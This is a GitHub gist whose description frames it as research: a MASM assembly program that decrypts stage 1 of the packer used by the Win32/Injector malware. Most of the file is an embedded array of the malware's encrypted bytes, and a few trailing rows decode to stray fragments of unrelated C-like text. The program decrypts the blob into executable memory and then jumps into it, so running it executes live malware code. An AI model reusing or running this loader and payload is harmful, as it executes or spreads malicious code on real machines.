Skip to content

Instantly share code, notes, and snippets.

@c0d3inj3cT
Created November 20, 2013 05:51
Show Gist options
  • Save c0d3inj3cT/7558365 to your computer and use it in GitHub Desktop.
Save c0d3inj3cT/7558365 to your computer and use it in GitHub Desktop.
I have written an example of decrypting the stage 1 of custom packer used in Win32/Injector. Its polymorphic engine makes use of a lot of junk instructions. However, the decryption routine is not complicated. I have extracted the encrypted code from stage 1 and written this program to decrypt it. It uses a 4 byte ADD key as the decryption key. I…
; decryption routine for Stage 1 of the custom packer used in Win32/Injector virus
; c0d3inj3cT
include \masm32\include\masm32rt.inc
.data
Message db "decryption stage1 completed!",0
.code
start:
xor eax, eax
push 40h
push 1000h
push 300h
push eax
call VirtualAlloc
mov edi, eax
mov esi, offset encrypt
mov ecx, 884h
rep movs byte ptr [edi], byte ptr [esi]
xor ebx, ebx
mov ecx, 7F771h
decrypt:
mov edx, dword ptr [eax+ebx*4]
add edx, 21CD438h
mov dword ptr [eax+ebx*4], edx
dec ecx
jnz decrypt
inc ebx
mov ecx, 7f771h
cmp ebx, 42h
jb decrypt
mov ebx, eax
mov eax, offset Message
push eax
call crt_printf
call ebx
call ExitProcess
encrypt:
db 0d8h, 04ch, 0c4h, 05bh, 048h, 04bh, 0fch, 072h, 0a3h, 0d8h, 03fh, 0a9h, 007h, 0c1h, 087h, 02eh, 00dh, 005h, 003h, 07bh
db 048h, 04bh, 085h, 06dh, 079h, 026h, 086h, 041h, 0cbh, 031h, 000h, 0e8h, 058h, 0d4h, 0f7h, 0d9h, 049h, 025h, 068h, 045h
db 04bh, 0b1h, 0f3h, 045h, 009h, 016h, 0ffh, 0fbh, 01fh, 07ch, 00ch, 0b3h, 009h, 016h, 005h, 055h, 029h, 035h, 0a4h, 077h
db 048h, 04bh, 086h, 0e7h, 02ch, 088h, 0cfh, 053h, 09fh, 0e6h, 069h, 01eh, 044h, 022h, 0d1h, 02bh, 0cdh, 008h, 0c8h, 0dfh
db 000h, 0efh, 03bh, 0a6h, 0b0h, 095h, 0dah, 0d7h, 0a8h, 05bh, 0ebh, 03fh, 0cbh, 032h, 0ebh, 050h, 027h, 02dh, 067h, 0d3h
db 005h, 0b9h, 096h, 0bfh, 029h, 073h, 0eah, 06ah, 0f3h, 0d4h, 0ech, 06eh, 0d1h, 0fah, 07bh, 0f1h, 077h, 085h, 08ch, 0c8h
db 003h, 0b4h, 070h, 0b8h, 032h, 06eh, 0c8h, 087h, 0ddh, 0d6h, 04eh, 059h, 0c9h, 079h, 06ch, 0a3h, 059h, 0c5h, 0ffh, 055h
db 03eh, 094h, 011h, 099h, 024h, 0deh, 055h, 0e5h, 098h, 0bdh, 01bh, 01eh, 043h, 0d3h, 036h, 069h, 06ah, 00bh, 060h, 013h
db 0b1h, 003h, 055h, 00ch, 0f9h, 027h, 037h, 0d2h, 021h, 00ch, 09ah, 0e3h, 005h, 0e9h, 0edh, 0f2h, 0b3h, 0a2h, 068h, 0b1h
db 017h, 0c6h, 00ch, 02fh, 00ah, 0b0h, 0a3h, 01ch, 0e7h, 0feh, 0aah, 04ch, 094h, 02ch, 0e7h, 09eh, 09bh, 05bh, 06eh, 0dbh
db 014h, 09dh, 026h, 039h, 0a5h, 099h, 0dbh, 04bh, 03bh, 01ch, 078h, 047h, 0a2h, 01bh, 0d5h, 06ah, 0adh, 0c0h, 034h, 09bh
db 0a9h, 0e5h, 012h, 01bh, 0dah, 016h, 031h, 0e3h, 0f1h, 0d9h, 04fh, 043h, 07ch, 0a6h, 0f2h, 0abh, 0b7h, 0f9h, 049h, 0aah
db 0eah, 04bh, 0b8h, 03fh, 062h, 07bh, 074h, 095h, 04ch, 081h, 095h, 073h, 046h, 039h, 0abh, 0cch, 04bh, 0f1h, 08ah, 098h
db 0e7h, 0c8h, 0d4h, 055h, 034h, 00fh, 0e3h, 096h, 0b1h, 009h, 02ch, 080h, 083h, 03ah, 0f0h, 054h, 03fh, 030h, 09fh, 066h
db 02ah, 089h, 0dah, 0b2h, 068h, 0e6h, 032h, 012h, 0e4h, 0a0h, 0cbh, 07bh, 044h, 08eh, 0ach, 0d4h, 05dh, 08bh, 0a6h, 0e6h
db 0f1h, 0d3h, 0d2h, 012h, 06ch, 037h, 0f9h, 0bfh, 03ah, 065h, 021h, 000h, 0f4h, 08ch, 0f9h, 069h, 00fh, 072h, 0c1h, 091h
db 031h, 076h, 05ah, 086h, 022h, 008h, 0c9h, 0bch, 0f6h, 0a1h, 0c8h, 0b0h, 0c8h, 0c1h, 038h, 09ch, 057h, 03fh, 08ch, 054h
db 025h, 00dh, 086h, 0aeh, 004h, 02bh, 0bbh, 036h, 0cch, 0d2h, 099h, 0adh, 08fh, 074h, 0b6h, 0d5h, 069h, 076h, 004h, 0a7h
db 04bh, 0ddh, 00ah, 0b6h, 093h, 02fh, 074h, 04ah, 02fh, 024h, 082h, 030h, 02bh, 07eh, 0f8h, 0d7h, 015h, 044h, 013h, 08eh
db 00fh, 0d2h, 09fh, 0a9h, 09ch, 0dbh, 06eh, 09ah, 088h, 0b9h, 021h, 059h, 020h, 0cdh, 096h, 066h, 0bbh, 05dh, 055h, 0d6h
db 039h, 082h, 02dh, 0f5h, 0d7h, 019h, 093h, 0ebh, 0a4h, 073h, 044h, 0c2h, 086h, 0d6h, 0edh, 027h, 007h, 0f7h, 0dfh, 0b9h
db 0aeh, 0a2h, 0e9h, 096h, 0e6h, 0fah, 0aeh, 004h, 053h, 0ceh, 052h, 0f1h, 080h, 0e9h, 04eh, 0f6h, 0d2h, 0bfh, 0aeh, 09fh
db 0ech, 0a8h, 0ceh, 059h, 01bh, 043h, 029h, 0b4h, 01ah, 084h, 029h, 099h, 00dh, 04eh, 0afh, 055h, 0bah, 085h, 040h, 099h
db 01dh, 0e7h, 0a6h, 0b2h, 0e3h, 00ch, 03bh, 01fh, 083h, 0c0h, 0fdh, 09fh, 08bh, 0d1h, 070h, 090h, 06ah, 0c8h, 099h, 00bh
db 0ffh, 0a1h, 04eh, 0deh, 0cah, 0f2h, 0b4h, 0d5h, 0cch, 08fh, 047h, 09dh, 0cdh, 0b3h, 046h, 0e2h, 0cch, 0ceh, 02dh, 01dh
db 08bh, 0f7h, 066h, 0adh, 05bh, 013h, 0b6h, 01ch, 0a8h, 0efh, 091h, 075h, 0a5h, 030h, 052h, 0aah, 020h, 020h, 057h, 05bh
db 0ach, 04dh, 035h, 07fh, 046h, 030h, 0c9h, 055h, 0b7h, 011h, 0c9h, 035h, 04dh, 04dh, 02ah, 02ch, 0c2h, 02bh, 095h, 02dh
db 0bfh, 0c9h, 006h, 035h, 078h, 004h, 0a4h, 019h, 0e3h, 034h, 007h, 047h, 05ah, 072h, 0bbh, 0d8h, 0bah, 0dah, 032h, 09ch
db 015h, 082h, 00fh, 0f5h, 06dh, 0f6h, 036h, 0dah, 03eh, 051h, 086h, 0cfh, 00ch, 06eh, 02dh, 009h, 02bh, 0eah, 06eh, 0ffh
db 079h, 065h, 0e6h, 0fch, 096h, 0aeh, 0a0h, 0abh, 0cch, 073h, 00fh, 06ch, 01ah, 032h, 0a1h, 0cfh, 06fh, 00fh, 086h, 05bh
db 09dh, 0cdh, 042h, 03ah, 026h, 0b7h, 0bdh, 076h, 092h, 054h, 015h, 0f5h, 03bh, 0c9h, 016h, 01dh, 0e7h, 00ah, 002h, 06dh
db 067h, 00ah, 028h, 06ch, 06eh, 0f3h, 0abh, 075h, 0f5h, 04ch, 021h, 059h, 00ah, 015h, 0d3h, 0ddh, 079h, 0a5h, 004h, 08ah
db 04ch, 0ddh, 0bfh, 083h, 0b2h, 080h, 0dbh, 0fbh, 00bh, 0e5h, 0bfh, 043h, 0a3h, 051h, 09eh, 069h, 0d5h, 0c4h, 0fah, 023h
db 071h, 0b2h, 0c7h, 0b3h, 037h, 029h, 0ffh, 02fh, 0cbh, 08ch, 0c1h, 08eh, 0b8h, 001h, 073h, 0d6h, 068h, 02eh, 080h, 082h
db 0f4h, 003h, 04fh, 0c6h, 00ch, 09ah, 07eh, 02ch, 08eh, 0efh, 0ach, 0d2h, 0dch, 071h, 07fh, 0c7h, 091h, 046h, 0f8h, 08eh
db 0b9h, 0e6h, 097h, 004h, 069h, 06dh, 0f3h, 000h, 08bh, 0b3h, 0f5h, 007h, 0c7h, 024h, 0b2h, 0c9h, 068h, 0abh, 02dh, 0a2h
db 031h, 02eh, 070h, 015h, 04eh, 047h, 0e1h, 057h, 036h, 01bh, 0e1h, 012h, 025h, 01ah, 0feh, 005h, 073h, 029h, 028h, 01ch
db 0cch, 0c6h, 0e3h, 084h, 034h, 03eh, 058h, 0b1h, 0aeh, 0cah, 0aah, 0d1h, 099h, 0d4h, 0eah, 0e3h, 0b0h, 0b6h, 051h, 031h
db 0f3h, 0a6h, 0c9h, 0c7h, 025h, 0bfh, 007h, 01eh, 043h, 0e8h, 0ach, 01ch, 0f9h, 037h, 09fh, 0a8h, 090h, 038h, 00eh, 0ach
db 071h, 00bh, 0cah, 0ddh, 01ch, 0c2h, 02dh, 068h, 091h, 0f4h, 008h, 0cdh, 0d9h, 01ah, 0d5h, 0fdh, 0f7h, 075h, 01dh, 02ah
db 0c2h, 029h, 0e2h, 0aeh, 066h, 0dah, 0c8h, 060h, 0aah, 0d8h, 0d6h, 018h, 0e5h, 0adh, 00ah, 086h, 04bh, 024h, 00dh, 04bh
db 0d0h, 0d4h, 08fh, 0cch, 060h, 06bh, 07eh, 05bh, 076h, 054h, 094h, 036h, 04ah, 042h, 064h, 019h, 088h, 090h, 0fah, 0fah
db 086h, 0b3h, 0f1h, 0f4h, 02dh, 097h, 0ach, 073h, 0f9h, 01eh, 0d2h, 00dh, 0f4h, 06eh, 026h, 075h, 0dfh, 02dh, 0cbh, 0e1h
db 0ech, 0c2h, 07bh, 070h, 02fh, 01ch, 01dh, 0f4h, 06eh, 00fh, 0d7h, 00bh, 07dh, 03ah, 00eh, 013h, 05eh, 05eh, 0f3h, 010h
db 019h, 09dh, 0c8h, 0d1h, 0bbh, 095h, 031h, 0dch, 007h, 059h, 075h, 05eh, 0ebh, 0f7h, 00fh, 002h, 090h, 026h, 0c1h, 091h
db 0c8h, 059h, 021h, 072h, 0e9h, 073h, 088h, 07eh, 04bh, 0fah, 066h, 03eh, 066h, 0b4h, 09eh, 08eh, 013h, 0e6h, 0cch, 007h
db 09bh, 02eh, 07ch, 006h, 08eh, 029h, 0f4h, 087h, 0e0h, 098h, 087h, 00ah, 0e5h, 0cch, 09bh, 033h, 046h, 012h, 022h, 079h
db 007h, 0edh, 063h, 0c8h, 00bh, 054h, 096h, 09dh, 04bh, 0aah, 00bh, 03fh, 0d4h, 024h, 0a2h, 0a9h, 085h, 00bh, 06ch, 040h
db 024h, 057h, 0c7h, 07ah, 0e2h, 0b1h, 0c7h, 03ch, 00fh, 0dbh, 094h, 082h, 0aah, 0eah, 044h, 081h, 068h, 040h, 029h, 05bh
db 0ach, 060h, 027h, 0d4h, 08ch, 052h, 0f8h, 056h, 038h, 093h, 062h, 051h, 0b1h, 004h, 0c0h, 0b5h, 0e8h, 0cch, 0d8h, 0aah
db 019h, 0e1h, 036h, 079h, 059h, 02bh, 0eah, 0dch, 0b8h, 018h, 0bfh, 097h, 019h, 027h, 0a4h, 0c1h, 0d5h, 0d0h, 09eh, 0beh
db 0f3h, 0c5h, 09ah, 05ch, 0e9h, 0fch, 018h, 028h, 0a3h, 065h, 07bh, 01ah, 095h, 0e1h, 0d0h, 06bh, 05dh, 00dh, 06fh, 03ch
db 067h, 010h, 021h, 0dbh, 054h, 02bh, 080h, 0d0h, 0c4h, 0a9h, 05fh, 0e0h, 0fdh, 02eh, 089h, 0f8h, 09bh, 066h, 0f0h, 05dh
db 0b0h, 053h, 0fah, 09dh, 040h, 0fbh, 0f1h, 0f8h, 00ch, 0a2h, 098h, 0edh, 0c7h, 0a8h, 01ah, 0d6h, 0a9h, 0a7h, 0edh, 07eh
db 0deh, 03dh, 044h, 0a1h, 0d4h, 051h, 06ah, 050h, 001h, 02ah, 0beh, 02fh, 056h, 01dh, 0cfh, 0a8h, 06eh, 064h, 086h, 071h
db 049h, 0ddh, 07eh, 0cfh, 089h, 0a2h, 0d3h, 0e3h, 036h, 0b1h, 006h, 068h, 07ah, 091h, 0abh, 062h, 0d4h, 066h, 0b5h, 04ah
db 0b4h, 0bdh, 0dbh, 00ch, 0a2h, 0d2h, 0e9h, 044h, 02dh, 08ah, 091h, 044h, 0f8h, 09ah, 0b6h, 046h, 008h, 0ech, 009h, 01eh
db 0f0h, 0e0h, 0d6h, 0e3h, 024h, 010h, 0d6h, 068h, 0e0h, 0cah, 08dh, 010h, 000h, 097h, 020h, 03eh, 097h, 08ch, 085h, 050h
db 092h, 06dh, 080h, 07ch, 0f6h, 076h, 0efh, 02ah, 019h, 060h, 0e8h, 015h, 006h, 027h, 00ch, 068h, 0bbh, 096h, 055h, 0bfh
db 079h, 092h, 0c9h, 0edh, 051h, 070h, 09ah, 0bbh, 0fdh, 0cch, 083h, 0f5h, 05bh, 01fh, 031h, 03dh, 02ah, 09eh, 0ceh, 0ceh
db 0a3h, 01ch, 0f0h, 066h, 00ah, 035h, 0c9h, 0bbh, 0d0h, 095h, 02eh, 0f9h, 038h, 030h, 05bh, 044h, 054h, 079h, 01bh, 07ch
db 0a9h, 084h, 0d0h, 09fh, 0e9h, 0f4h, 0f4h, 0d1h, 017h, 0bah, 097h, 093h, 063h, 0b1h, 0beh, 082h, 0efh, 03fh, 06bh, 055h
db 0d9h, 0cah, 0d8h, 0f8h, 0bah, 071h, 049h, 0a2h, 020h, 0adh, 013h, 0edh, 047h, 03ch, 0d4h, 09bh, 096h, 08eh, 082h, 0b6h
db 0e0h, 02ch, 015h, 047h, 0f4h, 0bdh, 0bbh, 018h, 0edh, 024h, 0fch, 0fah, 009h, 0a8h, 0edh, 019h, 030h, 04ah, 038h, 023h
db 0bah, 098h, 011h, 0c2h, 06dh, 097h, 07fh, 018h, 0fch, 010h, 0cbh, 079h, 035h, 054h, 0dah, 07dh, 0bdh, 01dh, 028h, 031h
db 06bh, 0c4h, 0ffh, 03dh, 08eh, 0b9h, 0a7h, 035h, 076h, 03eh, 003h, 05ah, 047h, 02bh, 08ch, 01dh, 070h, 097h, 06bh, 017h
db 0ddh, 0c0h, 095h, 016h, 007h, 055h, 0cah, 016h, 056h, 011h, 0cbh, 0f0h, 080h, 0a1h, 06bh, 0d3h, 05ah, 0a0h, 071h, 0c2h
db 021h, 0a0h, 040h, 037h, 0c7h, 0c8h, 002h, 027h, 0e2h, 0d0h, 0d6h, 0ddh, 08eh, 0fch, 07ch, 00dh, 0e0h, 00ch, 098h, 028h
db 08fh, 0f4h, 0c1h, 050h, 059h, 04bh, 03ch, 0f5h, 069h, 00eh, 0e5h, 0feh, 0e9h, 0cdh, 079h, 094h, 099h, 030h, 094h, 063h
db 0c4h, 035h, 098h, 0efh, 090h, 01bh, 0e2h, 0abh, 071h, 00dh, 0f6h, 05bh, 088h, 09ah, 073h, 0ceh, 057h, 091h, 0b7h, 0d3h
db 0b3h, 09bh, 0cbh, 0d7h, 0b2h, 055h, 051h, 07bh, 0d8h, 0f7h, 002h, 0fch, 0ceh, 02ah, 0fch, 096h, 0b0h, 019h, 01eh, 078h
db 061h, 06bh, 052h, 048h, 04bh, 020h, 036h, 0deh, 0f5h, 03eh, 05ch, 076h, 0bdh, 02ah, 08bh, 09fh, 077h, 046h, 0d9h, 067h
db 0d1h, 047h, 085h, 04dh, 039h, 008h, 083h, 023h, 008h, 07ah, 011h, 028h, 05ah, 099h, 094h, 004h, 00fh, 058h, 04ah, 0ffh
db 0fch, 0aah, 097h, 007h, 0e4h, 007h, 071h, 014h, 0a3h, 055h, 0d7h, 025h, 0a9h, 03fh, 0f8h, 0d9h, 06bh, 080h, 02ch, 09ch
db 005h, 02bh, 00bh, 04ah, 032h, 075h, 039h, 02dh, 045h, 009h, 05dh, 013h, 0d9h, 042h, 012h, 0d3h, 04fh, 024h, 04ch, 032h
db 0feh, 0e2h, 087h, 070h, 0aeh, 0cah, 0e1h, 02ch, 0b7h, 0efh, 081h, 08fh, 0c3h, 0cbh, 0f7h, 09bh, 05eh, 035h, 0d6h, 009h
db 01eh, 09bh, 075h, 0e6h, 08ah, 0d8h, 0f6h, 0dbh, 070h, 053h, 048h, 074h, 033h, 0c6h, 007h, 0bch, 0c2h, 027h, 072h, 065h
db 05ch, 02eh, 0dfh, 002h, 0e0h, 066h, 0e5h, 091h, 0a9h, 0dch, 03bh, 0fbh, 053h, 0b7h, 06ch, 083h, 029h, 044h, 0d8h, 098h
db 099h, 051h, 0aah, 0b5h, 0e7h, 043h, 0b6h, 093h, 0aeh, 02ah, 0b6h, 0dbh, 04bh, 0e6h, 0f8h, 0deh, 0a9h, 049h, 0a4h, 0ceh
db 099h, 09dh, 0d7h, 094h, 031h, 00ch, 0ffh, 0a3h, 028h, 012h, 0e2h, 037h, 0abh, 059h, 05dh, 0e3h, 0bch, 0d2h, 031h, 020h
db 098h, 041h, 06fh, 09dh, 0fdh, 06dh, 02fh, 00fh, 01fh, 06fh, 05ah, 064h, 0ceh, 07ch, 0fch, 092h, 01dh, 0d7h, 079h, 063h
db 00fh, 0c0h, 047h, 04ch, 0bbh, 039h, 0eah, 01dh, 034h, 08ah, 06bh, 0f1h, 0d2h, 088h, 0f9h, 02ah, 043h, 037h, 0f5h, 0b4h
db 0dch, 0e7h, 0e0h, 03ah, 049h, 0ddh, 092h, 0b7h, 040h, 01eh, 0e3h, 07bh, 01bh, 035h, 03bh, 0f4h, 04ah, 0c1h, 0d6h, 0a5h
db 02eh, 002h, 08bh, 0ceh, 0e9h, 05dh, 0f7h, 022h, 08dh, 002h, 0c1h, 027h, 017h, 048h, 051h, 0beh, 020h, 025h, 09dh, 042h
db 08ch, 04ch, 0b0h, 012h, 003h, 0c1h, 02ch, 011h, 040h, 0cah, 0c0h, 0fah, 015h, 000h, 045h, 011h, 050h, 088h, 0ech, 043h
db 032h, 084h, 086h, 07ah, 015h, 073h, 0c8h, 07ch, 05dh, 070h, 05fh, 09ah, 033h, 0f4h, 01fh, 093h, 04dh, 02ah, 0d0h, 092h
db 0c2h, 00dh, 028h, 0bah, 0b4h, 095h, 091h, 002h, 05ch, 090h, 0a2h, 08bh, 00eh, 0e0h, 093h, 08ah, 0d9h, 050h, 061h, 0f8h
db 0feh, 05ah, 083h, 06ch, 0a5h, 094h, 07ah, 093h, 04ah, 0ddh, 0f4h, 082h, 0bfh, 05ah, 0fdh, 05dh, 0d0h, 0d7h, 02fh, 011h
db 0a0h, 0a9h, 057h, 071h, 0b1h, 0b0h, 078h, 0bah, 0d5h, 056h, 05ch, 059h, 02eh, 0fch, 034h, 0fah, 055h, 0f7h, 086h, 059h
db 0c9h, 0b3h, 044h, 098h, 075h, 0c7h, 027h, 03eh, 077h, 081h, 013h, 05ch, 045h, 070h, 061h, 07bh, 0b3h, 0d8h, 0f1h, 0d4h
db 0d9h, 03fh, 0b4h, 0f9h, 032h, 067h, 091h, 054h, 061h, 067h, 040h, 0c8h, 0a4h, 0e2h, 02dh, 0a0h, 0efh, 030h, 0cch, 096h
db 0f0h, 04ah, 049h, 02ah, 0a4h, 0abh, 0b8h, 095h, 00fh, 071h, 040h, 084h, 072h, 09ch, 0ffh, 0b1h, 01eh, 061h, 09dh, 07ah
db 07dh, 085h, 090h, 027h, 03bh, 0e4h, 098h, 0efh, 01ch, 032h, 039h, 02bh, 07bh, 0bbh, 00ch, 02ch, 05fh, 09dh, 0ech, 00eh
db 06ch, 019h, 02bh, 02eh, 091h, 079h, 076h, 05dh, 04bh, 0cbh, 0abh, 0e6h, 08fh, 031h, 093h, 09ch, 041h, 049h, 091h, 0a8h
db 009h, 0aah, 076h, 0c2h, 05ch, 058h, 0abh, 031h, 091h, 081h, 069h, 0b1h, 06ch, 01ch, 0f9h, 04bh, 008h, 091h, 066h, 052h
db 072h, 009h, 0b0h, 012h, 05fh, 04fh, 00eh, 092h, 03ah, 0c5h, 0a4h, 027h, 0b0h, 075h, 018h, 0a6h, 084h, 0d6h, 019h, 01bh
db 04eh, 041h, 092h, 004h, 069h, 0bfh, 05fh, 085h, 080h, 034h, 072h, 051h, 088h, 08bh, 0d3h, 04bh, 064h, 0beh, 070h, 03fh
db 0eeh, 041h, 0aeh, 073h, 035h, 014h, 03ah, 020h, 005h, 0d9h, 0bdh, 06ch, 041h, 0f0h, 0ech, 0a8h, 02dh, 04eh, 03dh, 07ah
db 091h, 056h, 0d6h, 045h, 067h, 09dh, 0e1h, 021h, 0e5h, 0e3h, 0b7h, 0afh, 0a3h, 05ch, 012h, 0fdh, 024h, 08ch, 028h, 0ddh
db 05bh, 0a9h, 021h, 011h, 0b0h, 043h, 026h, 04ch, 0edh, 004h, 0a6h, 07ch, 023h, 0d8h, 0f9h, 05ah, 015h, 0c6h, 06eh, 02ch
db 032h, 0d8h, 07dh, 003h, 010h, 07dh, 095h, 0a1h, 01ah, 004h, 0e0h, 031h, 06fh, 09ch, 086h, 0cfh, 053h, 070h, 0b5h, 044h
db 0dbh, 00fh, 0f8h, 015h, 052h, 035h, 07ah, 0c1h, 075h, 0eah, 016h, 048h, 013h, 06dh, 0c9h, 0ffh, 053h, 0c7h, 007h, 098h
db 05bh, 0cah, 0a9h, 06eh, 076h, 05ch, 003h, 0c2h, 004h, 05eh, 013h, 06fh, 00ch, 011h, 00fh, 094h, 092h, 02ah, 06bh, 07bh
db 013h, 006h, 08eh, 043h, 02fh, 0d3h, 048h, 09ah, 035h, 001h, 09ah, 041h, 023h, 0f7h, 0b9h, 0cah, 0e3h, 014h, 083h, 037h
db 08fh, 0f2h, 0d4h, 092h, 01ah, 01eh, 086h, 082h, 076h, 015h, 0e2h, 0cdh, 0bch, 072h, 0a2h, 036h, 0e3h, 0bah, 0bfh, 0deh
db 0f0h, 06ah, 0b3h, 068h, 097h, 004h, 0b1h, 04ch, 087h, 01fh, 070h, 0f6h, 0e3h, 0d3h, 01dh, 0bbh, 000h, 000h, 000h, 000h
db 06ch, 05fh, 077h, 020h, 03dh, 020h, 06dh, 069h, 064h, 064h, 06ch, 065h, 05fh, 063h, 065h, 069h, 06ch, 05fh, 063h, 06fh
db 075h, 06eh, 074h, 02ah, 063h, 065h, 069h, 06ch, 05fh, 077h, 03bh, 00ah, 00ah, 009h, 009h, 069h, 066h, 020h, 028h, 062h
db 05fh, 077h, 03ch, 061h, 06ch, 06ch, 05fh, 077h, 029h, 020h, 07bh, 00ah, 009h, 009h, 009h, 063h, 065h, 069h, 06ch, 05fh
db 063h
end start
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment